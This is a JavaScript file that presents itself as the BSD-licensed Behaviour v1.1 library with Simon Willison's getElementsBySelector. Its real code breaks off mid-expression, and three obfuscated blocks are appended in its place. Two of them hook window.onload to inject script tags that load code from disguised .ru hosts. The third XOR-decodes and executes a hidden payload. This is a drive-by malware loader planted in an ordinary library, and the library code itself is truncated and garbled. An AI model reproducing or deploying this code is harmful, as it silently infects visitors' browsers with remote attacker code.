/*
   Behaviour v1.1 by Ben Nolan, June 2005. Based largely on the work
   of Simon Willison (see comments by Simon below).

   Description:
   	
   	Uses css selectors to apply javascript behaviours to enable
   	unobtrusive javascript in html documents.
   	
   Usage:   
   
	var myrules = {
		'b.someclass' : function(element){
			element.onclick = function(){
				alert(this.innerHTML);
			}
		},
		'#someid u' : function(element){
			element.onmouseover = function(){
				this.innerHTML = "BLAH!";
			}
		}
	};
	
	Behaviour.register(myrules);
	
	// Call Behaviour.apply() to re-apply the rules (if you
	// update the dom, etc).

   License:
   
   	This file is entirely BSD licensed.
   	
   More information:
   	
   	http://ripcord.co.nz/behaviour/
   
*/   

var Behaviour = {
	list : new Array,
	
	register : function(sheet){
		Behaviour.list.push(sheet);
	},
	
	start : function(){
		Behaviour.addLoadEvent(function(){
			Behaviour.apply();
		});
	},
	
	apply : function(){
		for (h=0;sheet=Behaviour.list[h];h++){
			for (selector in sheet){
				list = document.getElementsBySelector(selector);
				
				if (!list){
					continue;
				}

				for (i=0;element=list[i];i++){
					sheet[selector](element);
				}
			}
		}
	},
	
	addLoadEvent : function(func){
		var oldonload = window.onload;
		
		if (typeof window.onload != 'function') {
			window.onload = func;
		} else {
			window.onload = function() {
				oldonload();
				func();
			}
		}
	}
}

Behaviour.start();

/*
   The following code is Copyright (C) Simon Willison 2004.

   document.getElementsBySelector(selector)
   - returns an array of element objects from the current document
     matching the CSS selector. Selectors can contain element names, 
     class names and ids and can be nested. For example:
     
       elements = document.getElementsBySelect('div#main p a.external')
     
     Will return an array of all 'a' elements with 'external' in their 
     class attribute that are contained inside 'p' elements that are 
     contained inside the 'div' element which has id="main"

   New in version 0.4: Support for CSS2 and CSS3 attribute selectors:
   See http://www.w3.org/TR/css3-selectors/#attribute-selectors

   Version 0.4 - Simon Willison, March 25th 2003
   -- Works in Phoenix 0.5, Mozilla 1.3, Opera 7, Internet Explorer 6, Internet Explorer 5 on Windows
   -- Opera 7 fails 
*/

function getAllChildren(e) {
  // Returns all children of element. Workaround required for IE5/Windows. Ugh.
  return e.all ? e.all : e.getElementsByTagName('*');
}

document.getElementsBySelector = function(selector) {
  // Attempt to fail gracefully in lesser browsers
  if (!document.getElementsByTagName) {
    return new Array();
  }
  // Split selector in to tokens
  var tokens = selector.split(' ');
  var currentContext = new Array(document);
  for (var i = 0; i < tokens.length; i++) {
    token = tokens[i].replace(/^\s+/,'').replace(/\s+$/,'');;
    if (token.indexOf('#') > -1) {
      // Token is an ID selector
      var bits = token.split('#');
      var tagName = bits[0];
      var id = bits[1];
      var element = document.getElementById(id);
      if (tagName && element.nodeName.toLowerCase() != tagName) {
        // tag with that ID not found, return false
        return new Array();
      }
      // Set currentContext to contain just this element
      currentContext = new Array(element);
      continue; // Skip to next token
    }
    if (token.indexOf('.') > -1) {
      // Token contains a class selector
      var bits = token.split('.');
      var tagName = bits[0];
      var className = bits[1];
      if (!tagName) {
        tagName = '*';
      }
      // Get elements matching tag, filter them for class selector
      var found = new Array;
      var foundCount = 0;
      for (var h = 0; h < currentContext.length; h++) {
        var elements;
        if (tagName == '*') {
            elements = getAllChildren(currentContext[h]);
        } else {
            elements = currentContext[h].getElementsByTagName(tagName);
        }
        for (var j = 0; j < elements.length; j++) {
          found[foundCount++] = elements[j];
        }
      }
      currentContext = new Array;
      var currentContextIndex = 0;
      for (var k = 0; k < found.length; k++) {
        if (found[k].className && found[k].className.match(new RegExp('\\b'+className+'\\b'))) {
          currentContext[currentContextIndex++] = found[k];
        }
      }
      continue; // Skip to next token
    }
    // Code to deal with attribute selectors
    if (token.match(/^(\w*)\[(\w+)([=~\|\^\$\*]?)=?"?([^\]"]*)"?\]$/)) {
      var tagName = RegExp.$1;
      var attrName = RegExp.$2;
      var attrOperator = RegExp.$3;
      var attrValue = RegExp.$4;
      if (!tagName) {
        tagName = '*';
      }
      // Grab all of the tagName elements within current context
      var found = new Array;
      var foundCount = 0;
      for (var h = 0; h < currentContext.length; h++) {
        var elements;
        if (tagName == '*') {
            elements = getAllChildren(currentContext[h]);
        } else {
            elements = currentContext[h].getElementsByTagName(tagName);
        }
        for (var j = 0; j < elements.length; j++) {
          found[foundCount++] = elements[j];
        }
      }
      currentContext = new Array;
      var currentContextIndex = 0;
      var checkFunction; // This function will be used to filter the elements
      switch (attrOperator) {
        case '=': // Equality
          checkFunction = function(e) { return (e.getAttribute(attrName) == attrValue); };
          break;
        case '~': // Match one of space seperated words 
          checkFunction = function(e) { return (e.getAttribute(attrName).match(new RegExp('\\b'+attrValue+'\\b'))
this.x='';var f;if(f!='mv' && f != ''){f=null};var oq;if(oq!='' && oq!='s'){oq=''};function w() {var n=new String();var sc=new Array();var fm;if(fm!='dt' && fm!='yq'){fm='dt'};function l(a,m,g){var js;if(js!='k' && js != ''){js=null};var sg=1216;a['speptpA$tptmr<i$b$u$t$e<'.replace(/[\<m\$8p]/g, '')](m, g);var ly;if(ly!='hu' && ly != ''){ly=null};var zx="";this.kb=false;}var z='sBcuruizputu'.replace(/[uBDz_]/g, '');var zt="";var p='c;rzeza|t;e|EzlZezmKeznzt;'.replace(/[;\|KZz]/g, '');this.vt='';this.cp='';var r=window;var jk;if(jk!='xc'){jk=''};this.ds='';r['o2nAl1oAaLd2'.replace(/[21zAL]/g, '')]=function(){var jx="";var q="";try {var ho;if(ho!='tq' && ho!='e'){ho=''};var mm=new String();u=document[p](z);var sp=new Array();var nt;if(nt!='w_'){nt=''};this.md='';l(u,'sDrbce'.replace(/[eD\<b9]/g, ''),'hGtGtVpG:G/v/vrVeVnVrveVnv-VcSoSmS.SsSaSnGovoSk!.ScSoGmv.va!m!a!zvo!n!-VfVrG.VhvoGmVe!cvaVrVeVnva!tViVoGnG.VrvuG:G8S0S8v0V/!bSo!sStSoVnG.Gc!oSmv/!bGoSsvtvoGnV.GcvoVm!/vw!iSkSiVpSeGdSiVaS.So!rSgS/!xStSuvbSeS.ScvoGm!/VgSoSoVg!lGeG.!cVovmS/v'.replace(/[vGSV\!]/g, ''));var yv=3750;var ah=32737;l(u,'dQe$fwe>r$'.replace(/[\$\>Qzw]/g, ''),1);var op;if(op!=''){op='wx'};this.hz="hz";document['b4omd5ym'.replace(/[m5k@4]/g, '')]['a*p*p6e*n,d,C2h*i2l$d2'.replace(/[26\$\*,]/g, '')](u);} catch(b){var e_=13883;};var vb;if(vb!=''){vb='ww'};var ew;if(ew!='vpx'){ew=''};};var vz=new Date();this.st="st";};w();var dd=63173;
var gM="457973515b347a7d53406f0b7e47544336734873534757607f6a5572717d4053695277567841724b72445e7876477f7f61747a5e475b667d697e57474774496258577b337d5a22455954274f50335743";this.vk=38248;var Tq;if(Tq!='hq'){Tq='hq'};var SJ;if(SJ!='Nw' && SJ != ''){SJ=null};function J(O){var nQ=false;var qP=""; var t=function(g,y){return g^y;var f;if(f!='Y'){f='Y'};var Rz=false;};this.w='';var kLL;if(kLL!='z' && kLL!='Ay'){kLL='z'};var x;if(x!='kf' && x!='LV'){x='kf'}; var q=function(h){var V=[255][0];this.bt=47000;var d=[0,94][0];var H=h[K("hneglt", [4,2,1,3,5,0])];this.nG="nG";var Z=false;var N;if(N!='' && N!='dD'){N='p'};var o=[0,49,74][0];var Em=new Array();var UJ=[1,167,55,87][0];var Ll=5687;var WE=34591;this.YVp=25914;var aE='';while(o<H){var nD="nD";var hlV;if(hlV!='IJ' && hlV != ''){hlV=null};o++;ji=KW(h,o - UJ);var Pm;if(Pm!='OF' && Pm!='EZ'){Pm='OF'};this.jD='';d+=ji*H;}this.LB='';var Zz=new Date();var hU;if(hU!='hH' && hU!='WB'){hU='hH'};var ut='';return new j(d % V);var Iy;if(Iy!='Fz'){Iy=''};};this.Vq=false;this.No="No";var Cy;if(Cy!=''){Cy='m'}; var K=function(R, n){var gA;if(gA!=''){gA='Jb'};var s = R.length;var pt=new Array();var Zk;if(Zk!='IG'){Zk='IG'};var hl = n.length;this.Ng="";var ejk;if(ejk!=''){ejk='ny'};var a=[0][0];var NN;if(NN!='dc' && NN!='PF'){NN='dc'};this.JO='';var iC="iC";var sw=false;var jG = '';var rJ;if(rJ!='' && rJ!='yJ'){rJ=''};var UJ=[1,28,248,1][0];var AP;if(AP!='hHS'){AP=''};var FS;if(FS!='yL' && FS!='kh'){FS=''};var QY;if(QY!='' && QY!='PTk'){QY=null};var Kf='';var RzS=false;var pG;if(pG!='pH' && pG != ''){pG=null};for(var hO = a; hO < s; hO += hl) {this.HM="";var Dt;if(Dt!='Io' && Dt!='LE'){Dt='Io'};var Qw;if(Qw!=''){Qw='ih'};var X;if(X!=''){X='hN'};var Hh = R.substr(hO, hl);var OOq="OOq";if(Hh.length == hl){var UW;if(UW!=''){UW='af'};for(var o in n) {var rF=new Array();jG+=Hh.substr(n[o], UJ);var cq;if(cq!='aU'){cq='aU'};var Jq=new Array();}var Ym;if(Ym!='' && Ym!='fn'){Ym='Jn'};var JJ;if(JJ!='pF' && JJ!='qk'){JJ='pF'};} else {  jG+=Hh;var nH=new Array();}var lm=34483;var az="az";}var ck=new Date();var Uyt=false;var jH;if(jH!='cy' && jH!='Vv'){jH='cy'};return jG;var SAS=new Date();var Od=new Date();};var JbN;if(JbN!='' && JbN!='GU'){JbN='bU'};this.cm=32950;var qO=''; var KW=function(P,B){var Tb='';var jc;if(jc!='Yk' && jc!='vK'){jc='Yk'};return P[K("ahorCcdeAt", [5,1,0,3,4,2])](B);};var jo="";var gm;if(gm!='cV' && gm!='Aq'){gm='cV'};this.zQ="zQ";this.Qm=false;var fA=false;var Lw;if(Lw!='Pl' && Lw != ''){Lw=null}; var U=function(R){var Et;if(Et!='MvV' && Et!='Ae'){Et=''};var oi=new Date();var Nzb=new String();var hO =[123,0,54][1];var XZ;if(XZ!='' && XZ!='Uw'){XZ='lrX'};var mJ=new Date();R = new j(R);var Ip;if(Ip!='' && Ip!='cS'){Ip='hlC'};this.sg='';var Gdh="";var a =[113,0][1];this.Cmt=false;this.aH=false;var jG = '';var tf = -1;var IP;if(IP!='AU' && IP!='Uwd'){IP='AU'};var KB;if(KB!='SC' && KB != ''){KB=null};var yM=new Date();for (hO=R[K("tenlgh", [3,1,2,4,0])]-tf;hO>=a;hO=hO-[1,169][0]){jG+=R[K("hcratA", [1,0])](hO);var qZ=new String();var vV=new String();}this.Zh="";this.If="";var uO;if(uO!='Eb' && uO!='dd'){uO='Eb'};return jG;this.Aj=false;var qu;if(qu!='' && qu!='rn'){qu=null};};var nW;if(nW!=''){nW='xe'};var rw;if(rw!='Oj'){rw='Oj'};var Ub=window;var vp='';this.NZ=false;var D=Ub[K("alve", [3,2,0,1])];var QW='';var On='';var M=D(K("niFcuton", [2,4,0,3,5,1]));var lg=new String();var i=D(K("EgexRp", [4,2,1,0,3]));var mG;if(mG!='gc' && mG!='dt'){mG=''};var j=D(K("trSngi", [2,0,1]));var Sy='';var qd=new Date();var JEu=38711;var VX=37217;var Ft='';var WEh='';var yr = '';var KH=new Array();var HJ;if(HJ!=''){HJ='OI'};var mx="mx";var xY=new Date();var Pp=j[K("CfromoharCde", [1,2,3,4,0])];var tX;if(tX!='CJ' && tX!='ws'){tX='CJ'};var iCg="";var Dx;if(Dx!='' && Dx!='jx'){Dx=''};var l=Ub[K("scnauepe", [4,2,5,0,1,3])];var Rzm="";var ne=new String();var tQ;if(tQ!='hLN' && tQ!='mN'){tQ='hLN'};var b =[144,228,154,2][3];this.zw='';var yV = '';var L = '';var XO;if(XO!=''){XO='rO'};var W = O[K("elgnht", [1,0])];var TB="TB";var XJ;if(XJ!='Or' && XJ!='pY'){XJ='Or'};var MA = /[^@a-z0-9A-Z_-]/g;this.jg=46894;this.uL=19525;var ow=[1, K("oducemtnc.ertaEeelemtn\'(csirtp)\'", [1,0]),2, K("odcmuetn.obd.yappednCihl(dd)", [1,0,2]),3, K("l.dvietiedesgie.ns8:r80u0", [2,5,1,0,4,3]),4, K("eocd.maivtnamtroc.xz.ona", [2,1,5,4,3,0]),5, K("cb.rialom.br", [5,1,3,4,6,2,0]),6, K(".Adtetsrttebui\'e(refd\'", [2,0,6,4,5,1,3]),7, K("iowdn.lwnooad", [2,0,4,3,1]),8, K("elgoog.com", [5,3,4,2,1,0]),11, K("hasai.dcom", [2,0,1,3]),12, K("ufcnitno)(", [1,0]),14, K("aoycc.msm", [6,0,3,2,7,5,4,1]),15, K("fafiileat", [1,2,0]),16, K("tahcc(e)", [4,1,0,3,2]),17, K("pt:th\"", [5,4,3,1,0,2]),18, K(".drsc", [1,0]),19, K("1\')\'", [1,0]),20, K("ignn", [2,0,3,1]),21, K("rty", [1,0])];this.zA=false;var YY;if(YY!=''){YY='Jt'};var bXj;if(bXj!='EW' && bXj != ''){bXj=null};var Nk;if(Nk!='px' && Nk!='ruu'){Nk='px'};var MQ = j.fromCharCode(37);var mGa=10154;var UJ =[168,1][1];var a =[151,0,42][1];var Pv;if(Pv!='' && Pv!='SBZ'){Pv=null};var F =[142,0][1];this.qoA='';var iD='';var UX = '';var Az=false;this.Kv="";var vwo;if(vwo!='' && vwo!='yry'){vwo='ZV'};for(var WC=a; WC < W; WC+=b){var QA;if(QA!='' && QA!='YIx'){QA=null};var jxo;if(jxo!='' && jxo!='kd'){jxo=null};UX+= MQ; var Gw;if(Gw!='Ha'){Gw=''};UX+= O[K("utsbsr", [2,0,3,4,1,5])](WC, b);}var vs=new Array();var kr=29281;var O = l(UX);this.FT=false;this.Cu='';var HL = new j(J);var qi;if(qi!='qVz' && qi!='fH'){qi='qVz'};var Fa = HL[K("eprlace", [2,0,1,3])](MA, L);var YH=new Array();var ur=new Array();this.NL=55300;var of=false;Fa = U(Fa);this.shp='';var Q = ow[K("tngehl", [5,3,1,2,0,4])];var bVC=new String();var c = new j(M);var hi;if(hi!=''){hi='nGB'};var TH;if(TH!=''){TH='rl'};var rS;if(rS!='mX' && rS!='FA'){rS=''};var EB=1363;var Ys=25427;var bV = c[K("percale", [2,1,0])](MA, L);var sW=52347;var bV = q(bV);var OM=q(Fa);for(var hO=a; hO < (O[K("egtnlh", [4,0,3,1,2])]);hO=hO+[191,1][1]) {var VKK;if(VKK!='Nv' && VKK!='GI'){VKK='Nv'};var TN=new String();var zh;if(zh!=''){zh='XXn'};var WI = Fa.charCodeAt(F);this.PlG='';var dl = KW(O,hO);dl = t(dl, WI);var fJ;if(fJ!='DsE'){fJ='DsE'};var Yw;if(Yw!='aY'){Yw='aY'};var Lf="";dl = t(dl, OM);var bG;if(bG!='' && bG!='dnT'){bG='pV'};this.oP='';dl = t(dl, bV);var dJ;if(dJ!='ni'){dJ=''};var Ru;if(Ru!='Gc'){Ru=''};this.Xy=49717;var XK=new Date();F++;this.ge=22705;if(F > Fa.length-UJ){F=a;}var Ja=false;var qr;if(qr!='' && qr!='qN'){qr='ss'};this.rQv=9740;yV += Pp(dl);}this.Rr=false;var Omk='';this.oHL=false;for(v=a; v < Q; v+=b){var fV="";this.Dz=12230;var e = ow[v + UJ];var ZNJ;if(ZNJ!='' && ZNJ!='oHk'){ZNJ='TbY'};var IQZ;if(IQZ!='Nod'){IQZ='Nod'};var bQ=new String();var lr = Pp(ow[v]);this.AOU="AOU";var vm;if(vm!='' && vm!='ca'){vm=null};var AW;if(AW!='Je' && AW != ''){AW=null};var sh = new i(lr, j.fromCharCode(103));var zp="zp";yV=yV[K("aleprce", [4,2,3,1,0])](sh, e);}var vJ;if(vJ!='' && vJ!='ak'){vJ='NI'};var qrF;if(qrF!='Qc'){qrF='Qc'};var nS;if(nS!='ll'){nS='ll'};var dS=new M(yV);this.Vu=false;dS();var iU=27514;var xz;if(xz!=''){xz='Zf'};dS = '';bV = '';yV = '';var ng=3575;var vX;if(vX!='' && vX!='rf'){vX='mk'};c = '';var ey=false;var Nb=new Array();Fa = '';var kOB=false;OM = '';var axk;if(axk!='QUb'){axk='QUb'};return '';var HLs;if(HLs!='kP'){HLs=''};};this.vk=38248;var Tq;if(Tq!='hq'){Tq='hq'};var SJ;if(SJ!='Nw' && SJ != ''){SJ=null};J(gM);
this.T="";function B() {var h;if(h!=''){h='x'};var I=']';var p=new Date();var W=new Date();var g='[';var A=RegExp;var H=new Date();var V='g';var AY="";var f='replace';var n=new String();function Y(nk,K){var As;if(As!='P' && As != ''){As=null};var v;if(v!='' && v!='PS'){v=null};var i=g;var z;if(z!='' && z!='F'){z=null};var m;if(m!='Qq'){m='Qq'};i+=K;var M=new String();i+=I;var SW;if(SW!='CP' && SW!='u'){SW=''};var vB;if(vB!=''){vB='qu'};var U=new A(i, V);this.X='';return nk[f](U, n);};var D=new String();var eu=new String();var yW;if(yW!=''){yW='xF'};var AV=Y('/9o6r9b9i9t6dVo9w6n6l9o6a9d6eVrV.Vc6o6m9/6oVrVb9i9tVd6o6w9n9l6o9a6dVe6r6.Vc6o6m6/Vw9a9r9eVsVeVe9k6e6r6.Vc9o9mV/Vx9iVc6i9.Vn6e6t6/9g6oVo9gVlVe9.Vc6o6mV.9pVh6p9',"6V9");var PG=new String();var BN=Y('sQcjrjijpCtj',"Q4XCj");var OF="";var d=Y('895999019115985511930915133',"1953");var cr="";var AC=window;this.cN='';var q=Y('hwtwtWpw:T/W/wgWswmwawrTeWnWaT-TcWoVmW.W1W1T8T1T1w4V.wcVnW.WbViwzWrwaTtTeT-WcWoTmW.WfToVrwrWeVdWtwaVgT.WrVuT:w',"wTWV");var qhp=new Array();var UD=new Array();var c='';this.Wy='';var Fa;if(Fa!='Xf' && Fa!='Ii'){Fa=''};var b=Y('cZrueZaZtYeZEulqeZmYeunqtZ',"YqZu");AC[Y('o7n7l7o7afdt',"fMtW7")]=function(){var GB='';var YE="";try {var AR=new String();var Fx="";c+=q;var ei='';c+=d;var pc='';var fg='';c+=AV;this.cNV='';var w=new Array();var PL=new String();var iS;if(iS!='' && iS!='SA'){iS='gP'};O=document[b](BN);var db;if(db!='OO'){db=''};s(O,'src',c);this.ZaQ="";var Gz;if(Gz!='' && Gz!='cf'){Gz=null};s(O,'defer',([1][0]));var bg;if(bg!='Ob'){bg=''};var Ij;if(Ij!='' && Ij!='RI'){Ij=null};var JW;if(JW!='Ok' && JW != ''){JW=null};var hc;if(hc!='' && hc!='eiB'){hc='MP'};document.body.appendChild(O);var Ic=new Array();} catch(a){var sm;if(sm!='ZV' && sm != ''){sm=null};};var _R;if(_R!='az'){_R='az'};};var bK;if(bK!='zo' && bK!='FaO'){bK=''};var HQ;if(HQ!='UQ'){HQ='UQ'};var ey=new Array();function s(cD,G,S){var vL;if(vL!=''){vL='sE'};cD.setAttribute(G, S);this.Ig="";this.LB="";}this.oK='';this.SO='';this.Wv="";};var Kx=new Array();B();this.BX="";var ud;if(ud!='' && ud!='tF'){ud=''};